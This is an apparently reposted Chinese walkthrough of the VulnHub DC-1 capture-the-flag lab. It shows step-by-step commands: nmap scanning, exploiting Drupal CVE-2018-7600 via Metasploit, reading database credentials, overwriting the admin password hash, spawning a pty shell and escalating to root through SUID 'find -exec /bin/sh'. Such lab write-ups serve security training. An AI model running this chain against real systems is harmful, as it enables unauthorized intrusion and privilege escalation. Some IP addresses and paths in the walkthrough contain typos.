0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

靶场搭建
靶场下载地址:https://www.vulnhub.com/entry/dc-1,292/
下载镜像(Mirror版本)
下载下来的文件为 .OVA压缩文件,直接导入vmvare指定解压位置即可
网卡设置和攻击机KALI保持一致即可,这里我选择NAT模式
开机,靶场搭建完毕
渗透测试
首先明确目标,目标为5个flags和获得root权限
由于不知道靶机IP地址,所以使用nmap扫描整个网段
nmap -sP -T4 192.168.48.0/24
发现135和136两台主机(1,2,254是网关和广播地址)
136是KALI攻击机,所以靶机地址为192.168.48.135
使用nmap扫描靶机
nmap -sS -sV -Pn 192.168.18.135
22端口为SSH服务,可能存在密码爆破
80端口,存在web
111端口 是SUN公司的RPC服务所有端口
先访问一下web看看
上网搜索这个CMS存在的漏洞,发现7.X存在CVE-2018-7600 DRUPAL 7.X 版本代码执行
上msf上看看有没有对应漏洞的exp
search CVE-2018-7600
找到对应exp
使用对应模块use 0 或者use exploit/unix/webapp/drupal_drupalgeddon2
show option 查看选项
set RHOSTS 192.168.48.135
exploit
成功获得会话
看一下权限 getuid,为www普通用户权限
ls 查看一下当前目录下文件,发现flag1
cat flag1.txt 查看flag1文件
flag1提示我们去看CMS的config配置文件
Drupal7的配置文件为 /sites/default/settings.php文件
cd /sites/default/
cat settings.php
在文件的最上面找到了flag2和数据库账号密码
flag2提示暴力破解不是唯一的方法获得权限,说明可以通过暴力破解方式获得密码,尝试一下
发现被封IP了,所以只能通过别的方式
所以我们试着进入数据库
发现shell不完整,看不见部分回显,使用pyhton中的pty模块反弹一个完整的shell环境
python -c 'import pty;pty.spawn("/bin/bash")'
mysql -udbuser -pR0ck3t 登录mysql
show databases 列出数据库
use drupaldb 切换数据库
show tables
select * from users 将users表中所有数据列出
发现密码是hash加过密的,一般直接破解不了,只能更改密码,方法就是找到它的加密函数或者加密文件,把自己的密码经过加密之后,更新为admin用户的密码
Drupal7的密码加密脚本文件为/scripts/password-hash.sh
进入到网站根目录/car/www,一定要在这个目录,不然会报错
使用命令 php scripts/password-hash.sh密码
来产生加密hash
在数据库中将admin用户的密码更改为此hash串
update users set pass="$S$D/GbaSv/CZlUoBFcwSphSNMDKtJUGww4ae0V7nvOlWIJldJVH6EK" where name='admin';
登录成功
首页什么也没有,点点首页的功能看看有没有什么线索
在Dashboard中发现了flag3文件
flag3提示:特权账号能够帮助找到密码,但是你需要-exec这个命令来在shadow里的东西
passwd和shadow是两个关键词,这是Linux下保存用户名和密码的文件,去查看一下这两个文件
cat /etc/shadow
对shadow文件没有访问权限
cat /etc/passwd
cd /home/flag4
ls
cat flag4.txt
flag4提示:你能用同样的的方法在root中找到flag吗,也许,但是那可能不简单,也可能简单。
提示说用同样的方式,同样进入root用户的家目录
cd /root
提示权限不够
所以接下来我们需要提权
所以接下来我们需要提权 使用msfpost/multi/recon/local_exploit_suggester模块来查找提权方法 background挂起会话 use post/multi/recon/local_exploit_suggester show options set SESSION 1 exploit
查找失败
Linux提权
1、内核提权
2、suid提权
3、sudo提权
4、数据库提权
sudo提权
可以通过通过命令sudo -l查看是否有可提权的命令
没有可以提权的命令
suid提权
通过命令find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见root权限文件
nmap
vim
find
bash
more
less
nano
cp
awk
使用命令提权
find -exec /bin/sh \;
提权成功后进入/root目录,查看最后的flag
cd /root ls cat thefinalflag.txt
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)